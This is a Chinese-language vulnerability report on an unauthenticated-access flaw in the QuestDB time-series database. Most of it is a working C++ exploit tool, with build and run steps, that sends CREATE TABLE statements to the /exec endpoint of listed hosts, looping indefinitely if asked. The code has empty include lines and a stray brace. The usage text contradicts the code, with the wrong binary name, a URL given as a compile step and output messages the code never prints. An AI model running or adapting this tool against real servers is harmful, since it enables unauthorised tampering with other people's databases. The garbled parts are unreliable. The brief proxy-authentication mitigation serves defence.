CNVD-2026-13173
QuestDB 未授权访问漏洞分析报告
善意声明
作为一名怀着赤诚之心的安全研究员,我谨在此郑重声明:本次安全审计的唯一目的是帮助改进系统安全性,为保护用户数据安全尽一份力。报告中所有敏感信息均已进行脱敏处理。我始终秉持"善意披露、负责任报告"的原则,协助开发团队尽快修复安全隐患。
1. 漏洞概述
1.1 什么是 CNVD-2026-13173
CNVD-2026-13173 是一个影响 QuestDB 数据库的未授权访问漏洞。QuestDB 是一个开源的时间序列数据库,以其极快的导入速度和动态、低延迟的 SQL 查询能力而闻名。
1.2 漏洞基本信息
| 信息项 | 详情 |
|---|---|
| 漏洞类型 | 未授权访问漏洞 |
| 危害级别 | 中 (AV:N/AC:L/Au:N/C:P/I:N/A:N) |
| 影响产品 | QuestDB |
| 公开日期 | 2026-02-14 |
| 报送日期 | 2026-02-26 |
| 收录日期 | 2026-03-10 |
2. 漏洞详情
2.1 漏洞描述
QuestDB 存在未授权访问漏洞,攻击者可利用该漏洞获取敏感信息。具体来说,QuestDB 的认证配置失效导致未授权用户能够访问系统中的敏感数据。
该漏洞允许攻击者绕过身份验证机制,无需提供有效凭证即可访问受保护的 API 端点。
2.2 漏洞成因
- 身份验证配置失效,导致无需提供有效凭证即可访问受保护的 API 端点
- 认证逻辑存在缺陷,可能允许空凭证或错误凭证通过验证
- 格式错误的 Authorization 头部可能被后端解析器错误处理
2.3 潜在危害
攻击者可以访问数据库中的敏感信息,包括业务数据、用户信息等。
攻击者可能执行破坏性操作,如删除表或修改数据。
3. 漏洞测试工具
3.1 项目结构
CNVD-2026-13173/
├── inject.cc # 主测试工具(C++版本)
├── README.md # 项目说明文档
└── hosts.txt # 目标主机列表示例(可选)
3.2 工具功能
支持从文件读取多个目标主机地址
支持有限次数循环和无限循环两种模式
自动生成随机的表名和列定义进行注入测试
显示每次注入的详细信息和 HTTP 响应状态
3.3 环境要求
编译环境
- 编译器:GCC/G++ 编译器(支持 C++11 标准)
- 依赖库:libcurl 开发库
- 操作系统:POSIX 兼容系统(Linux, macOS 等)
运行环境
- 运行时依赖:libcurl 库
- 网络要求:能够访问目标 QuestDB 服务器
4. 使用指南
4.1 编译教程
步骤 1:安装依赖
# Ubuntu/Debian 系统:
sudo apt update
sudo apt install g++ libcurl4-openssl-dev
# CentOS/RHEL 系统:
sudo yum install gcc-c++ curl-devel
# macOS 系统:
brew install gcc curl
步骤 2:编译工具
g++ -o inject inject.cc -lcurl -std=c++11 -O2 -Wall -Wextra
4.2 基本语法
./inject -f <主机文件> -l <循环次数|inf>
参数说明
- -f, --file <主机文件>:指定包含目标主机列表的文件路径
- -l, --loop <循环次数|inf>:指定循环执行次数
4.3 使用示例
示例 1:对单主机执行 1 次测试
./inject -f hosts.txt -l 1
示例 2:对多主机执行 5 次循环测试
./inject -f target_hosts.txt -l 5
示例 3:无限循环测试模式
./inject -f hosts.txt -l inf
示例 4:使用默认 localhost 目标
./inject -l 3
4.4 结果解读
| HTTP 状态码 | 含义 |
|---|---|
| 200 | 请求成功,目标可能存在漏洞 |
| 401/403 | 访问被拒绝,目标可能已修复漏洞 |
| 404 | 请求的路径不存在 |
| 其他 | 需要根据具体情况分析 |
5. POC 代码
5.1 C++ POC 示例
以下是一个 C++ 代码示例,用于测试 QuestDB 的未授权访问漏洞:
#define 结构 struct
#define 类 class
#define 函数 void
#define 整数 int
#define 布尔 bool
#define 字符串 std::string
#define 向量 std::vector
#define 常量 const
#define 静态 static
#define 空 nullptr
#define 开始 {
#define 结束 }
#define 如果 if
#define 否则 else
#define 当 while
#define 对于 for
#define 开关 switch
#define 案例 case
#define 跳出 break
#define 继续 continue
#define 返回 return
#define 公开 public
#define 私有 private
#define 保护 protected
#define 输出 std::cout
#define 输入 std::cin
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
结构 选项结构体 开始
字符串 主机文件路径;
整数 循环次数 = 1;
布尔 无限循环标志 = false;
结束;
选项结构体 解析命令行参数(整数 参数数量, char** 参数数组) 开始
选项结构体 选项;
整数 c;
结构 option 长选项数组[] = 开始
{"file", required_argument, 空, 'f'},
{"loop", required_argument, 空, 'l'},
{"l", required_argument, 空, 'l'},
{空, 0, 空, 0}
结束;
当 ((c = getopt_long(参数数量, 参数数组, "f:l:", 长选项数组, 空)) != -1) 开始
开关 (c) 开始
案例 'f':
选项.主机文件路径 = optarg;
跳出;
案例 'l':
如果 (strcmp(optarg, "inf") == 0 || strcmp(optarg, "0") == 0) 开始
选项.无限循环标志 = true;
选项.循环次数 = -1;
结束 否则 开始
选项.循环次数 = std::atoi(optarg);
如果 (选项.循环次数 <= 0) 开始
std::cerr << "错误:循环次数必须为正整数或 inf\n";
exit(1);
结束
结束
跳出;
默认:
std::cerr << "用法: " << 参数数组[0] << " -f <主机文件> -l <次数|inf>\n";
exit(1);
结束
结束
返回 选项;
结束
// 从文件读取主机列表(忽略空行和 # 注释)
向量<字符串> 从文件读取主机列表(常量 字符串& 文件名) 开始
向量<字符串> 主机列表;
std::ifstream 文件(文件名);
如果 (!文件.is_open()) 开始
std::perror("fopen");
返回 主机列表;
结束
字符串 行;
当 (std::getline(文件, 行)) 开始
// 去除行首尾空白
size_t 开始位置 = 行.find_first_not_of(" \t");
如果 (开始位置 == 字符串::npos) 继续; // 空行
size_t 结束位置 = 行.find_last_not_of(" \t");
字符串 修剪后 = 行.substr(开始位置, 结束位置 - 开始位置 + 1);
// 跳过注释行(# 开头)
如果 (修剪后.empty() || 修剪后[0] == '#') 继续;
主机列表.push_back(修剪后);
结束
返回 主机列表;
结束
// 生成随机小写字母字符串
字符串 随机字符串(size_t 长度) 开始
静态 常量 char 字符集[] = "abcdefghijklmnopqrstuvwxyz";
静态 布尔 已初始化随机种子 = false;
如果 (!已初始化随机种子) 开始
std::srand(std::time(空) ^ getpid());
已初始化随机种子 = true;
结束
字符串 结果;
对于 (size_t i = 0; i < 长度; ++i) 开始
结果 += 字符集[std::rand() % (sizeof(字符集) - 1)];
结束
返回 结果;
结束
// libcurl 写入回调(忽略响应体)
size_t 写入回调函数(void* 内容, size_t 大小, size_t 元素数量, void* 用户指针) 开始
返回 大小 * 元素数量;
结束
// 对单个主机执行注入
函数 执行表注入(常量 字符串& 主机地址, 整数 端口号) 开始
// 随机表名 (5-10 字母)
整数 表名长度 = 5 + std::rand() % 6;
字符串 表名 = 随机字符串(表名长度);
// 随机列 (2-10 列)
整数 列数量 = 2 + std::rand() % 9;
字符串 列定义;
对于 (整数 i = 0; i < 列数量; ++i) 开始
如果 (i > 0) 列定义 += ", ";
列定义 += 随机字符串(5) + " INT";
结束
// 构造 SQL
字符串 查询语句 = "CREATE TABLE " + 表名 + " (" + 列定义 + ");";
// 构造 URL
字符串 url;
如果 (主机地址.find("http://") == 0 || 主机地址.find("https://") == 0) 开始
url = 主机地址 + "/exec";
结束 否则 开始
url = "http://" + 主机地址 + ":" + std::to_string(端口号) + "/exec";
结束
CURL* curl指针 = curl_easy_init();
如果 (!curl指针) 开始
std::cerr << "curl_easy_init 失败\n";
返回;
结束
// URL 编码查询参数
char* 编码后的查询 = curl_easy_escape(curl指针, 查询语句.c_str(), 0);
字符串 完整URL = url + "?query=" + 编码后的查询;
curl_easy_setopt(curl指针, CURLOPT_URL, 完整URL.c_str());
curl_easy_setopt(curl指针, CURLOPT_HTTPGET, 1L);
curl_easy_setopt(curl指针, CURLOPT_WRITEFUNCTION, 写入回调函数);
curl_easy_setopt(curl指针, CURLOPT_TIMEOUT, 10L);
CURLcode 执行结果 = curl_easy_perform(curl指针);
long HTTP状态码 = 0;
如果 (执行结果 == CURLE_OK) 开始
curl_easy_getinfo(curl指针, CURLINFO_RESPONSE_CODE, &HTTP状态码);
结束 否则 开始
HTTP状态码 = -1;
结束
curl_easy_cleanup(curl指针);
curl_free(编码后的查询);
// 输出时间戳
time_t 当前时间 = std::time(空);
结构 tm* 时间信息 = std::localtime(&当前时间);
char 时间缓冲区[32];
std::strftime(时间缓冲区, sizeof(时间缓冲区), "%H:%M:%S", 时间信息);
输出 << "[" << 时间缓冲区 << "] 正在注入表: " << 表名
<< " @ " << 主机地址 << " | 状态码: " << HTTP状态码 << std::endl;
结束
整数 main(整数 参数数量, char** 参数数组) 开始
选项结构体 选项 = 解析命令行参数(参数数量, 参数数组);
// 获取主机列表
向量<字符串> 主机列表;
如果 (!选项.主机文件路径.empty()) 开始
主机列表 = 从文件读取主机列表(选项.主机文件路径);
如果 (主机列表.empty()) 开始
std::cerr << "错误:无法从文件 " << 选项.主机文件路径 << " 读取有效主机\n";
返回 1;
结束
结束 否则 开始
// 默认 localhost
主机列表.push_back("localhost");
结束
输出 << "[*] 目标主机列表:\n";
对于 (常量 auto& h : 主机列表) 开始
输出 << " " << h << std::endl;
结束
如果 (选项.无限循环标志) 开始
输出 << "[*] 循环模式: 无限循环 (按 Ctrl+C 停止)\n";
结束 否则 开始
输出 << "[*] 循环模式: " << 选项.循环次数 << " 次\n";
结束
输出 << "[*] 目标端口: " << 9000<< "\n\n";
curl_global_init(CURL_GLOBAL_ALL);
整数 全局循环计数器 = 1;
当 (true) 开始
对于 (常量 auto& 主机 : 主机列表) 开始
如果 (!选项.无限循环标志) 开始
输出 << "--- 循环 " << 全局循环计数器 << "/" << 选项.循环次数
<< " - 目标主机: " << 主机 << " ---\n";
结束 否则 开始
输出 << "--- 全局循环 #" << 全局循环计数器 << " - 目标主机: " << 主机 << " ---\n";
结束
执行表注入(主机, 9000);
结束
全局循环计数器++;
如果 (!选项.无限循环标志) 开始
如果 (全局循环计数器 > 选项.循环次数) 跳出;
结束 否则 开始
usleep(500000); // 0.5 秒
结束
结束
curl_global_cleanup();
返回 0;
结束
}
5.2 使用方法
步骤 1:安装依赖
# Ubuntu/Debian 系统:
sudo apt update
sudo apt install g++ libcurl4-openssl-dev
# CentOS/RHEL 系统:
sudo yum install gcc-c++ curl-devel
# macOS 系统:
brew install gcc curl
步骤 2:编译代码
https://github.com/ctkqiang/CNVD-2026-1317.git
步骤 2:编译代码
g++ -o inject inject.cc -lcurl -std=c++11 -O2 -Wall -Wextra
步骤 3:运行程序
./poc http://target:9000
5.3 预期结果
- 如果目标存在漏洞,程序将显示 "[VULNERABLE] 未授权访问成功!"
- 如果目标已修复漏洞,程序将显示 "访问被拒绝"
- 如果目标无法访问,程序将显示相应的错误信息
5. 修复与防御建议
临时解决方案
在 QuestDB 前端部署反向代理(如 Nginx)并启用 HTTP Basic 认证,作为额外的访问控制层。
正式解决方案
厂商尚未提供漏洞修复方案,请关注厂商主页更新:https://questdb.com/
安全注意事项
- 合法使用:本工具仅用于授权安全测试,禁止用于非法攻击
- 权限要求:确保对目标主机有明确的测试授权
- 网络连接:确保网络连通性